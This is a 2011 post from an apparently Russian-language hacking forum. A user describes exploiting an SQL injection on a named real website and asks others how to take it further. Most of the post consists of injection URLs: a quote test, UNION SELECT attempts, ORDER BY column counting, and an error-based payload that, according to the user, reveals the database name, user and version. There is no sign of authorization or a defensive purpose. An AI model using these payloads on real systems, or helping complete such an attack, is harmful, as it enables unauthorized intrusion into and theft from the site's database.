Ваши вопросы по уязвимостям.

#11

18.08.2011, 03:04

BigBear

Новичок

Регистрация: 04.12.2008

Сообщений: 18

С нами: 9176038

Репутация: 8

Нарвался на одну интересную скулю.

Код:

http://sotchi-2014.info/content.php?id=1'

Пробовал сначала крутить через union, но скрипт грязно ругнулся

Код:

http://sotchi-2014.info/content.php?id=-999'+union+select+1+--+

The used SELECT statements have a different number of columns

В принципе я читал об объединение запросов и понимаю, что тут косяк в нессответствии столбцов при втором запросе.

Но опять же следующий запрос выводится корректно

Код:

http://sotchi-2014.info/content.php?id=-999'+order+by+1+--+  TRUE

http://sotchi-2014.info/content.php?id=-999'+order+by+2+--+   FALSE

Что навело на мысль, что колонка всё таки 1.

Далее попробовал крутануть через другой метод.

Код:

http://sotchi-2014.info/content.php?id=5'+or+1+group+by+concat((database()),floor(rand(0)*2))+having+min(0)+or+1+--+

БД, юзверя, и версию выводит корректно.

На попытку вывести что либо ещё ругается на СЕЛЕКТ.

Подскажите, каким путём докрутить данную скулю ?

Похожие темы

Тема

Автор

Раздел

Ответов

Последнее сообщение

Ваши ламерские приколы (Ну когда только комп появился)

PEPSICOLA

Болталка

188

23.05.2010 10:05

Ваши любимые компьютерные игры

PEPSICOLA

Болталка

280

19.08.2009 00:01

Ваши телеги...

F-IFTY

Болталка

18.08.2009 18:22

Вопросы по Ipb 2.0

Voodoo_People

Уязвимости CMS / форумов

15.02.2005 22:57